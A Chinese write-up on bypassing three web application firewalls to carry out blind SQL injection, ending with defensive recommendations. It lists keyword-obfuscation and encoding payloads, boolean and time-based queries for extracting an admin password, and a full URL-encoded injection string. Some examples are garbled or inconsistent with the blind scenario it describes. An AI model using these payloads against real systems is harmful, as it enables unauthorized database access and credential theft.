怒绕三个WAF注入的小故事
字数 897 2025-08-19 12:40:34
绕过三个WAF的SQL注入技术分析
漏洞发现与初步分析
- 漏洞类型:字符串型盲注(无报错回显)
- 初步测试:
- 注入单引号
'时,返回404或500错误(交替出现,无规律) - 注入两个单引号
''时,页面正常显示
- 注入单引号
- 环境特点:存在WAF(Web应用防火墙)防护,且可能有混淆情况
WAF绕过技术
1. 第一个WAF绕过
问题:直接使用'会被拦截
绕过方法:
- 使用URL编码:
%27替代单引号 - 使用注释混淆:
'-- -或'/*xxx*/ - 使用空白字符:
'%09(水平制表符)、'%0A(换行符)、'%0D(回车符)
2. 第二个WAF绕过
问题:检测到AND、OR等关键词
绕过方法:
- 大小写混合:
aNd、Or - 内联注释:
/*!AND*/ - 空白字符分隔:
A N D - 使用数学运算符替代:
&&替代AND,||替代OR - 使用
^(异或)操作符
3. 第三个WAF绕过
问题:检测到SELECT、FROM等SQL关键字
绕过方法:
- 使用十六进制编码:
0x73656C656374替代select - 使用注释分割:
SEL/*xxx*/ECT - 使用反引号:
SELECT - 使用动态执行:
PREPARE stmt FROM CONCAT('SEL','ECT'); EXECUTE stmt;
盲注技术实现
-
布尔盲注:
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'-- - -
时间盲注:
' AND IF(SUBSTRING(password,1,1)='a',SLEEP(5),0)-- - -
绕过技巧:
- 使用
LIKE替代=:'a' LIKE 'a' - 使用
REGEXP:'a' REGEXP '^a' - 使用
MID替代SUBSTRING
- 使用
完整注入示例
%27%20%41%4E%44%20%28%53%45%4C%45%43%54%20%31%20%46%52%4F%4D%20%28%53%45%4C%45%43%54%20%43%4F%55%4E%54%28%2A%29%2C%43%4F%4E%43%41%54%28%30%78%37%61%2C%28%53%45%4C%45%43%54%20%28%53%45%4C%45%43%54%20%43%4F%4E%43%41%54%28%30%78%37%61%2C%30%78%37%61%2C%30%78%37%61%29%29%29%2C%30%78%37%61%29%20%46%52%4F%4D%20%69%6E%66%6F%72%6D%61%74%69%6F%6E%5F%73%63%68%65%6D%61%2E%74%61%62%6C%65%73%20%57%48%45%52%45%20%74%61%62%6C%65%5F%73%63%68%65%6D%61%3D%64%61%74%61%62%61%73%65%28%29%20%4C%49%4D%49%54%20%30%2C%31%29%29%20%41%53%20%78%29%3D%31%20%2D%2D%20%2D
防御建议
- 使用参数化查询(预编译语句)
- 实施最小权限原则
- 对所有输入进行严格验证和过滤
- 使用Web应用防火墙规则更新
- 禁用错误信息回显
- 定期进行安全审计和渗透测试
总结
该案例展示了如何通过多层编码、注释混淆和关键字变形等技术绕过多个WAF防护进行SQL注入攻击。攻击者需要耐心测试各种绕过方法,并组合使用多种技术才能成功实施注入。防御方则需要采取深度防御策略,不仅依赖WAF,还要从代码层面做好防护。